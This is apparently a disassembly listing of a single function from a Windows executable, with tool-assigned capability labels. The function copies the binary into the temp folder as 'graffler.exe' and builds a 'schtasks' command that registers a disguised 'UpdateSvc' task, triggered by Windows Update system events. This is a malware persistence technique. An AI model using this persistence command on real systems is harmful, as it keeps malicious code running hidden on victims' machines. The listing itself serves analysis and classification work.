Function at 0x1400066c8
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 8], rcx
push rbp
push rdi
push r15
lea rbp, [rax - 0x148]
sub rsp, 0x230
movaps xmmword [rax - 0x28], xmm6
xor esi, esi
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400231b0]
movdqu xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140022c98]
mov dword [rsp + 0x38], eax
mov byte [rsp + 0x3c], sil
mov al, byte [0x140029c20]
mov byte [rbp + 0x150], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x1400038cd
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029b18]
test rcx, rcx
je 0x1400038d3
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x50]
call qword [rax + 0x10]
lea r10, [rbp - 0x50]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x38]
cmp r9, 0xf
cmova r10, r8
lea rcx, [rbp + 0x10]
dec rcx
inc rcx
cmp byte [rcx], sil
jne 0x14000331f
xor edx, edx
mov al, byte [r10 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x140003329
mov r15d, 0x1000
cmp r9, 0xf
jbe 0x140003370
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, r15
jb 0x140003368
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038d9
mov rcx, r8
call fcn.1400073d8
movdqa xmm6, xmmword [0x140023170]
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], sil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400033ba
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x1400033b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038df
call fcn.1400073d8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], sil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400033fe
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400033f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038e5
call fcn.1400073d8
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400231b0]
movdqu xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140022c98]
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5c], sil
mov al, byte [0x140029c20]
mov byte [rbp + 0x150], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x1400038eb
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029b18]
test rcx, rcx
je 0x1400038f1
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x30]
call qword [rax + 0x10]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
xor r8d, r8d
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400034da
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400034d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038f7
call fcn.1400073d8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000351c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140003517
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038fd
call fcn.1400073d8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], sil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000355e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140003559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003903
call fcn.1400073d8
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x26
lea rdx, str.schtasks__create__tn__UpdateSvc___tr__
lea rcx, [rsp + 0x50]
call fcn.140006170
nop
mov al, byte [0x140029c20]
mov byte [rbp + 0x150], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x140003909
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029d68]
test rcx, rcx
je 0x14000390f
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003611
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x14000360c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003915
call fcn.1400073d8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], sil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003653
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x14000364e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000391b
call fcn.1400073d8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], sil
lea rax, [rbp + 0x10]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], sil
jne 0x140003666
mov rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rcx
cmp rdi, rax
ja 0x1400036af
lea rax, [rdi + rcx]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140018c20
mov byte [rdi + rbx], sil
jmp 0x1400036c5
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x10]
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140006280
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, 0x5f
lea rdx, str.___sc_onevent__ec_System__mo__System_Provider__NameMicrosoft_Windows_WindowsUpdateClient___
lea rcx, [rbp - 0x10]
call fcn.140006170
nop
mov al, byte [0x140029c20]
mov byte [rbp + 0x150], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x140003921
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029d68]
test rcx, rcx
je 0x140003927
mov rax, qword [rcx]
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x30]
call qword [rax + 0x10]
nop
lea r9, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r9, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rcx
cmp rdi, rax
ja 0x140003792
lea rax, [rcx + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140018c20
mov byte [rdi + rbx], sil
jmp 0x1400037a5
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140006280
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400037de
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400037d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000392d
call fcn.1400073d8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], sil
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140003820
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x14000381b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003933
call fcn.1400073d8
movdqu xmmword [rbp - 0x20], xmm6
mov byte [rbp - 0x30], sil
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140003860
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r15
jb 0x14000385b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003939
call fcn.1400073d8
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14000cf5c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400038aa
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x1400038a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038c7
call fcn.1400073d8
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.14000d4c4
nop
call fcn.140006f88
nop
call fcn.140006f88
int3
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.140006f88
nop
call fcn.140006f88
int3
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.140006f88
nop
call fcn.140006f88
nop
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.140006f88
nop
call fcn.140006f88
int3
call fcn.14000d4c4
nop
call fcn.14000d4c4
nop
call fcn.14000d4c4
int3
jmp 0x140003248